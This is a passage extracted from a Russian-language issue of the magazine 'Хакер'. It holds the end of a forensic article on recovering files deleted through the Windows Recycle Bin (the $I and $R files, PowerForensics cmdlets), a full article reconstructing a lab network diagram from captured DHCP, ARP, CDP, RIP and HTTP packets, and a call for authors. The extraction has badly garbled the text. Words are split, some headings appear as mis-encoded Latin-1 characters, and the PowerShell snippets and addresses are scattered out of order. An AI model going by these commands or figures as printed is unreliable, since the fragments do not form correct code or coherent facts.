дает ся пос ле переме щения в кор зину. Это копия переме щен ного в кор- 
зину фай ла, о чем говорят оди нако вое содер жимое и хеш-сум мы (если
срав нить ори гинал до уда ления и переме щен ный файл). Изме няет ся толь- 
ко имя фай ла.

$R<random>.original_extension $R

Пос ле переме щения фай ла в кор зину

Раз бор содер жимого популяр ных фай лов и фай ловых записей, а так же струк- 
тур таб лиц MFT, MBR, GPT и фай ловых атри бутов встре чает ся в 
на . Одна ко мне не уда лось най ти опи сание фай ла  с метадан ными,

поэто му давай вмес те раз берем ся, что полез ного мож но обна ружить в таком
фай ле.

пуб ликаци ях
GitHub $I

В роли подопыт ного будет по-преж нему выс тупать файл .
Перемес тим его копию в кор зину, пос ле чего ско пиру ем все содер жимое
из дирек тории  в пап ку для иссле дова ния.

calc.exe

C:\$Recycle.Bin\<User’s SID>\*
Ни же пред став лен раз бор всех полей фай ла  (был соз дан

при переме щении каль кулято ра в кор зину).
$IOWX1VN.exe

Здесь:
жел тый цвет — File Header, заголо вок фай ла ;• $I

си ний цвет — File Size (Bytes) — раз мер фай ла;•
крас ный цвет — атри бут  — вре мя уда ления, точ нее,
переме щения фай ла в кор зину в фор мате UTC;

• $SI ChangedTime

би рюзо вый цвет — FileName Length — раз мер име ни фай ла в бай тах;•
пур пурный цвет — File Path — пол ный путь до фай ла, который был уда лен
(переме щен в кор зину).

•

У каж дого поль зовате ля своя  (кор зина). Более того, на каж дом

томе такая кор зина соз дает ся по умол чанию. Гру бо говоря, кор зина из тома
С проб расыва ется в том F и дру гие соз данные тома. Поэто му перед име нем
уда лен ного фай ла мы видим SID поль зовате ля — зачас тую это полез ная
информа ция о том, какой поль зователь в сис теме перемес тил файл в кор зину
и выпол нил уда ление. Нап ример, для фай ла  пол ное имя фай ла

будет выг лядеть так:

$Recycle.Bin

calc.exe

F:\$RECYCLE.BIN\S-1-5-21-3457051395-4168275294-665325124-1000\
$ROWX1VN.exe 

ли бо

F:\$RECYCLE.BIN\S-1-5-21-3457051395-4168275294-665325124-1000\
$IOWX1VN.exe 

Кро ме информа ции о том, кто уда лил файл, мы получа ем информа цию о мет- 
ках вре мени и о момен те, ког да файл был переме щен в кор зину. Так же нам
ста новит ся известен путь, по которо му хра нил ся файл до переме щения.
Как изме няют ся мет ки вре мени, я рас ска зывал в теоре тичес кой час ти.

Те перь давай погово рим о вос ста нов лении фай ла, который был уда лен
через кор зину. По алго рит му оно похоже на вос ста нов ление фай лов, уда лен- 
ных с помощью del или erase, пос коль ку для фай ловой сис темы нет раз ницы
меж ду фай лами, уда лен ными из кор зины или какой-либо дру гой дирек тории.
По сути, сис тема уда ляет фай лы так же, как при при мене нии ути лит del
или erase, толь ко пред варитель но пере име новав фай лы в 

 и  — имен но такие записи хра нят ся в глав- 
ной фай ловой таб лице .

$R<random>.
extension $I<random>.extension

$mft
Ве роят но, у читате ля воз ник впол не логич ный воп рос: какой из двух фай-

лов вос ста нав ливать —  или ? Ведь при очис тке кор зины уда лят ся оба
эти фай ла и их записи какое-то вре мя будут хра нить ся в  (до переза писи

дру гими дан ными).

$I $R
$mft

Для вос ста нов ления уда лен ного фай ла нам нуж ны оба: и , и . Файл 
тре бует ся для вос ста нов ления содер жимого, а файл  — для получе ния ори- 

гиналь ного име ни фай ла.

$R $I $R
$I

Единс твен ный недос тающий эле мент при вос ста нов лении — ори гиналь- 
ное имя, которое мож но отыс кать толь ко в фай ле . Но файл  резиден- 

тный, а это зна чит, что приш ло вре мя разоб рать ся, как вос ста нав ливать
резиден тные фай лы.

$I $I

Для начала мы так же най дем ID фай ловой записи для фай ла :$I

Get-ForensicFileRecord -VolumeName F:| where {$_.Deleted}
  F:  44 $file_record = Get-ForensicFileRecord -VolumeName -Index

Пос ле чего обра тим ся к атри буту  по ука зан ному ID и запишем содер- 
жимое атри бута в мас сив бай тов:

$DATA

 $file_descriptor=$file_record.Attribute | Where-Object {$_.name -eq
'DATA'}

  $Byte_Array = $file_descriptor.RawData 

В  хра нит ся содер жимое резиден тно го фай ла.$Byte_Array
Струк туру фай ла  мы уже разоб рали и пом ним, что бай ты с 0 до 26 отво- 

дят ся на фай ловый заголо вок, раз мер фай ла в бай тах, атри бут 
 и раз мер фай лового име ни. А начиная с индекса 27 до кон ца фай ла хра- 

нит ся пол ное имя фай ла (путь + имя). Зная эту информа цию, мы можем
получить недос тающий эле мент для вос ста нов ления нашего каль кулято ра.

$I
$SI Changed 

Time

Для это го мы декоди руем зна чения мас сива с индекса 27 до кон ца мас- 
сива в UTF8 и вос поль зуем ся коман дле том Split-Path, что бы получить толь ко
имя фай ла:

  
27..  

$filename = Split-Path -Path ([System.Text.Encoding]::UTF8.GetString(
$Byte_Array[ $Byte_Array.Length])) -Leaf

Все дан ные для вос ста нов ления нерези ден тно го фай ла  у нас
есть, и спо соб мы уже изу чили, поэто му дело за малым. Готовый сце нарий
для вос ста нов ления уда лен ных через кор зину фай лов мож но най ти на .

$ROWX1VN.exe

GitHub
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Вос ста нов ление уда лен ных фай лов — задача доволь но кро пот ливая и инте- 
рес ная. Хотя авто мати зиро ван ных средств для это го пре дос таточ но, луч ше
не доводить дело до потери дан ных. Что бы обе зопа сить себя от утра ты цен- 
ной информа ции, не забывай соз давать бэкапы и хра нить их по прин ципу 3-2-
1.

Ду маю, что с получен ными зна ниями читате лю не сос тавит тру да раз- 
работать собс твен ную прог рамму для авто мати зации про цес са вос ста нов- 
ления. Ведь, как писал Крис в сво ей кни ге, «нас тоящий хакер сам раз рабаты- 
вает свой инс тру мен тарий».

https://powerforensics.readthedocs.io/en/latest/modulehelp/Get-ForensicContent/
https://github.com/Invoke-IR/ForensicPosters
https://github.com/corkami/pics/tree/master/posters
https://github.com/AntonyN0P/PowerShell_DFIR/blob/main/RecycleBin_File_Recovery.ps1
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Изу чение струк туры сетевых про токо лов
поможет тебе более глу боко понять прин- 
цип их работы и фун кции. В этой статье мы
про ана лизи руем неболь шой фраг мент
сетево го тра фика и зарису ем пред полага- 
емую схе му сети, исхо дя из получен ных
дан ных.

Я сфор мировал дамп сетево го тра фика на сво ем лабора тор ном стен де
с помощью филь тра зах вата (Capture Filtering) в Wireshark с некото рыми усло- 
виями. Вот что из это го выш ло.

Мы будем рас кры вать по поряд ку каж дый зах вачен ный пакет и искать
в инкапсу лиру емых дан ных инте ресу ющую нас информа цию о схе ме
исходной сети. Затем мы изоб разим эту информа цию гра фичес ки (для это го
будем исполь зовать ресурс diagrams.net).

ÓÇÍÀÅÌ ÊÀÍÀËÜÍÛÅ È ÑÅÒÅÂÛÅ ÀÄÐÅÑÀ ÏÅÐÂÛÕ ÓÑÒÐÎÉÑÒÂ

Из пер вых четырех пакетов сра зу вид но, что некое устрой ство получа ет IP-
адрес и дру гие сетевые парамет ры по DHCP. Рас кры ваем пер вый пакет.

Сра зу бро сает ся в гла за MAC-адрес кли ент ско го устрой ства. Сетевой адрес
это го девай са нам пока неиз вестен, потому что он еще не получил его,
а адре са наз начения — широко веща тель ные.

Идем даль ше. Воз можно, ты обра тил вни мание на IP-адрес 
в раз деле заголов ка . Это озна чает, что кли ент зап рашива ет имен но

этот IP-адрес, так как ранее, воз можно, он его уже получал. Но пока мы
не ста нем отоб ражать его на схе ме и дож демся окон чатель ного отве та
от DHCP-сер вера.

192.168.30.2
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И пос леднее, что нам инте рес но в этом пакете, — опция . Здесь

отоб ража ется имя устрой ства. Теперь перене сем получен ные дан ные на схе- 
му.

12 DHCP

Сле дующий пакет DHCP Offer — в отве те на сооб щение кли ента сер вер пред- 
лага ет воз можные сетевые парамет ры.

Как мы видим, на зап рос кли ента отве тил DHCP-сер вер с IP-адре сом 
 и MAC-адре сом . Он пред ложил кли енту IP-

адрес  (кста ти, тот, который кли ент и зап рашивал, поле Your IP

address) и мас ку сети . Отлично, допол ним схе му новыми
дан ными.

192.
168.30.1 00:19:56:bb:41:09

192.168.30.2
255.255.255.128

Но вые эле мен ты я буду окра шивать в крас ный цвет для наг ляднос ти.

MICROSOFT WINDOWS È CISCO IOS, ÈËÈ ÏÐÈ ×ÅÌ ÇÄÅÑÜ TTL?

Со обще ние  не несет в себе новой информа ции, кро ме того,

что в опции  кли ент зап рашива ет допол нитель ные парамет ры у DHCP-сер- 
вера: сетевую мас ку, адрес шлю за, сер вер DNS и домен ное имя.

DHCP Request
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Еще хочу обра тить вни мание на поле Time to Live заголов ка IPv4 дан ного
сооб щения.

TTL — зна чение, которое опре деля ет вре мя жиз ни пакета. Это зна чение дек- 
ремен тиру ется на еди ницу каж дый раз, ког да пакет про ходит через мар шру- 
тизи рующее устрой ство по пути к мес ту наз начения.

Де ло в том, что по умол чанию для раз ных опе раци онных сис тем типич ны
свои зна чения TTL.

Пос коль ку в кли ент ском сооб щении  TTL име ет зна чение 128,

мы можем пред положить, что это устрой ство под управле нием ОС Windows.

DHCP Request

Пос леднее сооб щение, сви детель ству ющее об успешном окон чании вза имо- 
дей ствия кли ента и DHCP-сер вера, — .DHCP ACK

В этом сооб щении DHCP-сер вер прис ваивает кли енту:
IP-адрес  (поле Your IP address);• 192.168.30.2

мас ку сети  (опция 1);• 255.255.255.128

шлюз  (опция 3);• 192.168.30.1

DNS  (опция 6).• 8.8.8.8

Здесь так же зада ются вре мен ные интерва лы арен ды адре са, его прод ления
и зап роса адре са от дру гих локаль ных DHCP-сер веров, в слу чае если преж- 
ний сер вер недос тупен (опции 51, 58 и 59 соот ветс твен но).

И напос ледок гля нем на TTL IP-пакета от DHCP-сер вера.

Зна чение 255 ука зыва ет на Cisco IOS. Мож но даже про верить про изво дите ля
устрой ства по MAC-адре су на онлайн-сер висах, которых пол но в интерне те.

По луча ется, что в качес тве DHCP-сер вера в сети фун кци они рует мар шру- 
тиза тор Cisco. Иссле довав четыре перех вачен ных пакета, можем пред- 
положить сле дующую схе му сети.

ÐÀÑÊÐÛÂÀÅÌ ARP È TCP

Рас кро ем пятый по оче реди пакет (а точ нее, кадр) ARP.

Здесь хост  с помощью широко веща тель ной рас сылки пыта- 
ется выяс нить MAC-адрес у хос та . Зна чение  в поле Opcode

озна чает, что это имен но зап рос, а зна чение  — ответ. И если пос мотреть

на пол ный скрин дам па в начале статьи, то мы не уви дим там отве та на ARP-
зап рос. Поэто му сущес тво вание хос та  ста вит ся под воп рос.

192.168.30.2
192.168.30.48 1

2

192.168.30.48

Дви гаем ся даль ше и смот рим на пакеты 6 и 7. Они, в прин ципе, оди нако вые.

Хост , не получив отве та, пыта ется пов торно уста новить TCP-

сес сию с веб-сер вером (о чем сви детель ству ет порт наз начения 443),
отправ ляя SYN-зап росы. Отоб разим на схе ме веб-сер вер и хост
под управле нием Windows (пос коль ку TTL = 128).

192.168.20.27

Продолжение статьи →

mailto:mikhailov.alexander99@yandex.ru


УВИДЕТЬ СЕТЬ
ВОССОЗДАЕМ СХЕМУ ПОДКЛЮЧЕНИЙ 

ИЗ ДАМПА ТРАФИКА

АДМИН  НАЧАЛО СТАТЬИ←

ÌÍÎÃÎ ËÈ ÌÎÆÅÒ ÐÀÑÑÊÀÇÀÒÜ CDP?

Про токол CDP слу жит для обна руже ния сосед них сетевых устрой ств
под управле нием Cisco IOS и может пре дос тавить мно го полез ной информа- 
ции. Рас смот рим под робно его самые инте рес ные поля.

В пер вую оче редь смот рим на несущий Ethernet-кадр и опре деля ем, что
адрес наз начения муль тикас товый. А если гля нуть на адрес источни ка (

), то ста новит ся понят но, что это MAC-адрес того самого
мар шру тиза тора на нашей схе ме.

00:
19:56:bb:41:09

Идем даль ше и обра щаем вни мание на поле Device ID, которо му прис- 
воено зна чение . Это не что иное, как имя устрой ства, которое зада- 

ется коман дой  в Cisco IOS.

gateway
hostname

Сле дующие поля —  и  — обоз нача ют вер сию

про шив ки и модель самого устрой ства соот ветс твен но. Итак, мы име ем дело
с мар шру тиза тором Cisco 2821 с уста нов ленным прог рам мным обес печени- 
ем C2800NM-ADVIPSERVICESK9-M, Version 12.4(3f), RELEASE SOFTWARE
(fc3). Отоб разим эту информа цию на схе ме и пой дем даль ше.

Software Version Platform

По ле Port ID содер жит наз вание и номер пор та устрой ства, через который
был отправ лен дан ный CDP-пакет. В нашем слу чае это порт

. Теперь давай собирать пазл: толь ко что мы выяс нили,

что пакет CDP отправ лялся через порт , а MAC-адрес отпра вите ля

в Ethernet-заголов ке . Дела ем вывод, что MAC-адрес 
 при над лежит пор ту .

GigabitEthernet0/1
G0/1

00:19:56:bb:41:09 00:
19:56:bb:41:09 G0/1

Но это еще не все. Смот рим на поле Addresses и видим зна чение 

. Это сви детель ству ет о том, что интерфейс, с которо го был отправ лен

CDP-пакет ( ), име ет IP-адрес . Вро де бы ничего при меча- 
тель ного, но давай вер немся назад и пос мотрим на чет вертый пакет DHCP
ACK: в этом сооб щении кли енту отве чал DHCP-сер вер с IP-адре сом 

 и — вни мание — MAC-адре сом ! А ведь до это- 
го мы опре дели ли, что порт  име ет IP-адрес  и MAC-адрес

. Выходит, на пор те  висит два айпиш ника: 

 и .

192.168.
20.1

G0/1 192.168.20.1

192.
168.30.1 00:19:56:bb:41:09

G0/1 192.168.20.1
00:19:56:bb:41:09 G0/1 192.168.
20.1 192.168.30.1

Как так получа ется? А все дело в «роуте ре на палоч ке» — router on a
stick — спо собе мар шру тиза ции меж ду VLAN. В таком вари анте мар шру тиза- 
ции роутер соеди няет ся с ком мутато ром единс твен ным про водом, а на
физичес ком интерфей се роуте ра соз дают ся логичес кие субин терфей сы (они
еще называ ются подын терфей сы), которым наз нача ются IP-адре са из раз ных
под сетей. При чем MAC-адре са у них иден тичные, так как они часть одно го
физичес кого пор та (в нашем слу чае пор та ). Давай мак сималь но

незамыс ловато отоб разим это на схе ме.

G0/1

И раз мы уже выяс нили, что в дан ной сети есть как минимум два компь юте ра,
которые име ют связь с одним физичес ким интерфей сом мар шру тиза тора, то,
ско рее все го, меж ду ними сто ит какой-нибудь ком мутатор.

Пос леднее поле, которое мы изу чим в CDP-пакете, — это поле IP Prexes.
В нашем слу чае оно име ет три зна чения: , 

 и . Каж дое зна чение пред став ляет один из непос редс твен но
под клю чен ных к роуте ру сег ментов IP-сети. Про сети 

и  мы уже зна ем, а вот сег мент  видим впер- 

вые. Тем не менее один из интерфей сов мар шру тиза тора вхо дит в этот сег- 
мент сети.

192.168.30.0/25 192.168.20.0/
27 66.1.66.0/24

192.168.30.0/25
192.168.20.0/27 66.1.66.0/24

ROUTING INFORMATION PROTOCOL

RIP — уста рев ший внут ренний про токол динами чес кой мар шру тиза ции. Его
харак теризу ет 520-й UDP-порт, муль тикас товый IP-адрес  и муль- 

тикас товый MAC-адрес.

224.0.0.9

MAC-адрес отпра вите ля уже до боли зна комый. Зна чит, это сооб щение
было отправ лено во внут реннюю поль зователь скую сеть, где, ско рее все го,
нет дру гих роуте ров. Таким обра зом, на этом роуте ре не скон фигури рован
порт  как пас сивный.G0/1

Воз можно, смот ря на TTL, ты ожи дал уви деть зна чение , а на деле оно

рав но . Это сде лано для того, что бы про токол RIP мог работать в NBMA-

сетях. В общем, здесь ничего инте рес ного. Рас смот рим непос редс твен но
сам заголо вок RIP.

1
2

Итак, поле Command обоз нача ет тип сооб щения: для зап роса зна чение
уста нав лива ется в , а для откли ка или отве та — в . Но это не зна чит, что

кто-то зап росил мар шрут ную информа цию от нашего роуте ра, так как RIP
каж дые нес коль ко секунд сам ее рас сыла ет.

1 2

По ле Version, как ни стран но, озна чает вер сию про токо ла RIP. Вто рая вер- 
сия отли чает ся от пер вой лишь тем, что под держи вает бес клас совую адре- 
сацию. Прос тыми сло вами, RIPv2, помимо дан ных о сетях, переда ет све дения
о мас ках этих сетей и тем самым в сов ремен ных реалиях име ет хоть какой-то
шанс на сущес тво вание.

И самое инте рес ное — это поля, отоб ража ющие дан ные о сетях,
до которых мож но доб рать ся через наш мар шру тиза тор.  — здесь

отоб ража ется адрес сети наз начения. В нашем при мере их два: 
 и . Мет рика у обо их мар шру тов рав на еди нице. Это зна чит, что,

что бы доб рать ся до этих сетей, дру гому роуте ру нуж но сде лать один переход
до мес та наз начения. Зна чение поля , думаю, не нуж дает ся в объ- 
ясне нии.

IP Address
192.168.30.

0 66.1.66.0

Netmask

, или мет ка мар шру та, исполь зует ся для того, что бы обес- 

печить раз деление внут ренних мар шру тов (мар шру ты для сетей в пре делах
домена мар шру тиза ции RIP) от внеш них, которые, воз можно, были импорти- 
рова ны из EGP или дру гого IGP.

Router Tag

Зна чение Next Hop выс тавля ется как  в том слу чае, если сеть нап- 

рямую под соеди нена к роуте ру, тем самым роутер-отпра витель говорит, что
он явля ется хопом по пути к сети наз начения.

0.0.0.0

Воз можно, у тебя воз ник воп рос: почему в анон се нет сети ?

Если взгля нуть на IP-заголо вок, то вид но, что IP-адрес источни ка — 
, который как раз таки вхо дит в сеть . Поэто му анон- 

сировать информа цию об этой же сети ей же прос то не нуж но.

192.168.20.0
192.168.

20.1 192.168.20.0

Итак, ана лизи руя пакет RIP, мы под твер дили, что сеть  нап- 
рямую при соеди нена к нашему мар шру тиза тору.

66.1.66.0/24

THREE-WAY HANDSHAKE È HTTP-ÇÀÏÐÎÑ

Здесь мы сно ва видим TCP-про токол, одна ко IP- и MAC-адре са нам нез- 
накомы. Давай их изу чать. Некий  с MAC-адре сом 

 хочет уста новить связь с неким , отправ ляя SYN-зап- 

рос на шлюз по умол чанию  (Cisco Router).

192.168.20.2 f0:bf:97:
6a:a0:8b 5.9.243.178

00:19:56:bb:41:09
Кро ме того, в TCP-заголов ке виден всем извес тный 80-й порт наз начения.

То есть хост  пыта ется уста новить TCP-сес сию с HTTP-сер- 

вером. Так же, если пос мотреть на TTL (оно рав но ), мож но пред положить,
что ини циато ром уста нов ления сес сии выс тупа ет Unix-сис тема. Добавим эту
информа цию на схе му.

192.168.20.2
64

По 11-му и 12-му пакетам, оче вид но, идет про дол жение уста нов ки TCP-сес- 
сии и сер вер в сто рону кли ента отправ ляет пару фла гов SYN/ACK. Опять же
смот рим на TTL сер вера: зна чение рав но , что так же пред положи тель но
ука зыва ет на ОС Unix на сто роне веб-сер вера. Ведь пакет от сер вера про- 
ходит опре делен ное количес тво мар шру тизи рующих устрой ств, которые каж- 
дый раз умень шают величи ну TTL на еди ницу.

49

Ну и толь ко пос ле завер шения уста нов ки TCP-сес сии кли ент фор миру ет
HTTP-зап рос. Пог лядим на него.

Тут, кро ме того, что кли ент зап рашива ет веб-стра ницу 

, нет ничего инте рес ного.

http://xgu.ru/wiki/
HSRP

На конец мы рас смот рели пос ледний перех вачен ный пакет и получи ли сле- 
дующую кар тину.

Тут мы отоб разили все инте ресу ющие нас дан ные, взя тые из дам па. Оста лось
навес ти марафет, что бы схе ма выг лядела более понят ной.

ÂÛÂÎÄÛ

Мы про ана лизи рова ли все го три над цать сетевых пакетов и извлек ли из них
мно го цен ной информа ции об исходной сети. Этот под ход к визу али зации
будет полезен, к при меру, при поис ке инци ден тов в сети и траб лшу тин ге.
Как минимум подоб ное «чте ние» сетево го тра фика повысит твой скилл
в сетевых тех нологи ях и про кача ет понима ние прин ципов вза имо дей ствия
сетевых устрой ств и про токо лов.



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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